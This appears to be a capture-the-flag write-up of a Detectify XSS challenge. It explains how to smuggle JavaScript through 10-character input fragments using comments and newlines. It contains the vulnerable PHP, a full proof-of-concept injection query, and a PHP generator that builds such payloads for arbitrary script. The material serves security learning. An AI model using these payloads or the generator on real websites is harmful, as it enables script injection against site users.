Recently I tried to solve Detectify XSS challenge - Twins of Ten.
Idea is simple. Put XSS inside:
<0123%ten_character_payload%><b x="x">hejsan</b></0123%the_same_ten_character_payload%>
<0123%another_ten_character_payload%><b x="x">hejsan</b></0123%another_the_same_ten_character_payload%>
Task also contain PHP code that genarate vulnerable code.
<?php
$q = urldecode($_SERVER['QUERY_STRING']);
$qs = explode('&', $q);
$qa = array();
$chars = 0;
foreach($qs as $q) {
$q = explode('=', $q);
array_shift($q);
$s = implode('=', $q);
if(strlen($s) > 10) continue;
$chars += strlen($s);
$qa[] = $s;
}
foreach($qa as $q) {
echo "<0123$q><b x=\"x\">hejsan</b></0123$q>";
}
In order to solve this we will use few things:
0A- new line//- single line comment- `/ */` - multiline comment
Knowing that we can start creating an exploit, which will have 3 parts:
1. payload_1 //
2. %0A payload_2 /*
3. */ payload_3 //
First is used to open script tag.
<0123><b x="x">hejsan</b></0123><0123<script>//><b x="x">hejsan</b></0123<script>//>
So we have our <script> tag.
Then we need to create new line because everything after // is treated like comment. So we use second part: &a=%0Avar c;/*.
var c;/*><b x="x">hejsan</b></0123
var c;/*>
Right now we declare variable c (var c) and start multiline comment (/*).
It will be great if we could close comment and add more code. We use third part: &a=*/c='a';//.
><0123*/c='a';//><b x="x">hejsan</b></0123*/c='a';//>
Here we close comment (*/), set value of variable (c='a';) and start a new single line comment (//).
Sounds familiar? Yeah, we had this situation before (we need to create new line again).
As you can see, using this loop allows us to put 6 characters into JavaScript each time.
Now let's create a string (for example alert(1);) and use eval() function to execute it.
For this:
var c; // We already have
c='a'; // those two
c+='l'
c+='e'
c+='r'
c+='t'
c+='('
c+='1'
c+=')'
c+=';'
we can use %2B which is encoded as + character:
&a=%0Ac%2B='l'/*&a=*/c%2B='e'//&a=%0Ac%2B='r'/*&a=*/c%2B='t'//&a=%0Ac%2B='('/*&a=*/c%2B='1'//&a=%0Ac%2B=')'/*&a=*/c%2B=';'//
It's time to finish the exploit. In order to fit eval(c) into 6 characters limit we need to use:
eval/*sth
*/(c)//
For </script> we have 10 characters because we don't need %0A anymore.
&a=%0Aeval/*&a=*/(c)//&a=</script>
Proof of Concept
?&a=<script>//&a=%0Avar c;/*&a=*/c='a';//&a=%0Ac%2B='l'/*&a=*/c%2B='e'//&a=%0Ac%2B='r'/*&a=*/c%2B='t'//&a=%0Ac%2B='('/*&a=*/c%2B='1'//&a=%0Ac%2B=')'/*&a=*/c%2B=';'//&a=%0Aeval/*&a=*/(c)//&a=</script>
which will be displayed as
<0123><b x="x">hejsan</b></0123><0123<script>//><b x="x">hejsan</b></0123<script>//><0123
var c;/*><b x="x">hejsan</b></0123
var c;/*><0123*/c='a';//><b x="x">hejsan</b></0123*/c='a';//><0123
c+='l'/*><b x="x">hejsan</b></0123
c+='l'/*><0123*/c+='e'//><b x="x">hejsan</b></0123*/c+='e'//><0123
c+='r'/*><b x="x">hejsan</b></0123
c+='r'/*><0123*/c+='t'//><b x="x">hejsan</b></0123*/c+='t'//><0123
c+='('/*><b x="x">hejsan</b></0123
c+='('/*><0123*/c+='1'//><b x="x">hejsan</b></0123*/c+='1'//><0123
c+=')'/*><b x="x">hejsan</b></0123
c+=')'/*><0123*/c+=';'//><b x="x">hejsan</b></0123*/c+=';'//><0123
eval/*><b x="x">hejsan</b></0123
eval/*><0123*/(c)//><b x="x">hejsan</b></0123*/(c)//><0123</script>><b x="x">hejsan</b></0123</script>>
If you want to generate your own payload use:
<?php
$payload = "document.write('<b>My payload is here</b>');";
$payload = str_replace("'", '"', $payload);
$out = "?&a=<script>//&a=%0Avar c;/*&a=*/c='";
$out .= $payload[0]."';//";
for ($i=1; $i<strlen($payload); ++$i) {
if ($i % 2 == 1) $out .= "&a=%0Ac%2B='".$payload[$i]."'/*";
else $out .= "&a=*/c%2B='".$payload[$i]."'//";
}
if (strlen($payload) % 2 == 0) {
$out .= "&a=*/c%2B=''//";
}
$out .= "&a=%0Aeval/*&a=*/(c)//&a=</script>";echo htmlentities($out);
Ps. For different solution click here.
Timeline
- 08-07-2015: Send solution to Detectify